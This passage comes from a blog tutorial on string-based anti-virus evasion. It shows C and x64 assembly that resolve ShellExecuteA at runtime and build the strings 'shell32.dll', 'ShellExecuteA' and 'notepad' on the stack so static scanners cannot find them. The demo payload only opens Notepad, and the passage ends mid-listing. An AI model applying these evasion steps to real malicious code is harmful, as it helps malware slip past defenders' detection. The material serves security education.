&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;o&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;fShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExitProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is not yet done, however, as &lt;code&gt;strings.exe&lt;/code&gt; can still detect our strings. This is because we now have strings "shell32.dll" and "ShellExecuteA" as parameters for &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt;. And these are placed in the &lt;code&gt;.data&lt;/code&gt; segment in memory.&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-05" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;This is where we can use the technique that we used in &lt;a href="string-av-evasion-in-x64-assembly-part-1"&gt;part 1&lt;/a&gt;. By declaring the string as an array as a local variable, the data is placed on the stack instead of in the &lt;code&gt;.data&lt;/code&gt; segment. &lt;/p&gt;
&lt;p&gt;Applying this technique gives us the following:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_shell32&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hShell32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LoadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ca_shell32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_shellExA&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;S&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;l&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;E&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;u&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fShellExecuteA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hShell32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_shellExA&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And now we can see that it works!&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-06" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-06.png" /&gt;&lt;/p&gt;
&lt;h2 id="converting-to-assembly"&gt;Converting to assembly&lt;/h2&gt;
&lt;p&gt;As promised, we'll be converting the code above into x64 windows assembly. It's an extra step, but can give us a better understanding by approaching it from a different programming language.&lt;/p&gt;
&lt;p&gt;Starting from the beginning, we'll be using &lt;code&gt;LoadLibraryA&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt; to dynamically load the &lt;code&gt;ShellExecuteA&lt;/code&gt; function at runtime. &lt;/p&gt;
&lt;p&gt;If we fast forward a bit, here's what we'll end up with:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;str_shell32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Load &amp;quot;shell32.dll&amp;quot; string&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LoadLibraryA&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; Call &amp;quot;LoadLibraryA&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; Save result of LoadLibraryA to rcx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;str_shexa&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; Load &amp;quot;ShellExecuteA&amp;quot; string&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GetProcAddress&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Call &amp;quot;GetProcAddress&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; The address of &amp;quot;ShellExecuteA&amp;quot; is saved to rbx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; Call &amp;quot;ShellExeecuteA&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Wait, that's it? Yes! &lt;/p&gt;
&lt;p&gt;This is the one of those rare moments that the Assembly code is more straightforward than C. This is because the value returned by &lt;code&gt;GetProcAddresss&lt;/code&gt; is already an address. Since assembly deals with memory addresses, there's no need for any conversion like we did in the C version. The address can be called directly.&lt;/p&gt;
&lt;p&gt;And just like the previous one, the code above is still not complete. The "shell" strings are still visible via &lt;code&gt;strings.exe&lt;/code&gt; so we need to apply the technique again from Part 1. I won't be showing it step by step here anymore as it's quite lengthy.&lt;/p&gt;
&lt;p&gt;This means that this example piece of code:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;str_shell32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Load &amp;quot;shell32.dll&amp;quot; string&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LoadLibraryA&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; Call &amp;quot;LoadLibraryA&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Will now be like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Place &amp;quot;shell32.dll&amp;quot; string to the stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;addstr2stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;s&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;d&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LoadLibraryA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; Call &amp;quot;LoadLibraryA&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;addstr2stack&lt;/code&gt; is a macro we've written before &lt;a href="string-av-evasion-in-x64-assembly-part-1"&gt;in part 1&lt;/a&gt;. It makes declaring an string array easier.&lt;/p&gt;
&lt;p&gt;Combining everything again, here's the final assembly code with comments:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; = START LOADLIBRARY ===========================================&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Place &amp;quot;shell32.dll&amp;quot; string to the stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;addstr2stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;s&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;d&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LoadLibraryA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; Call LoadLibraryA&lt;/span&gt;
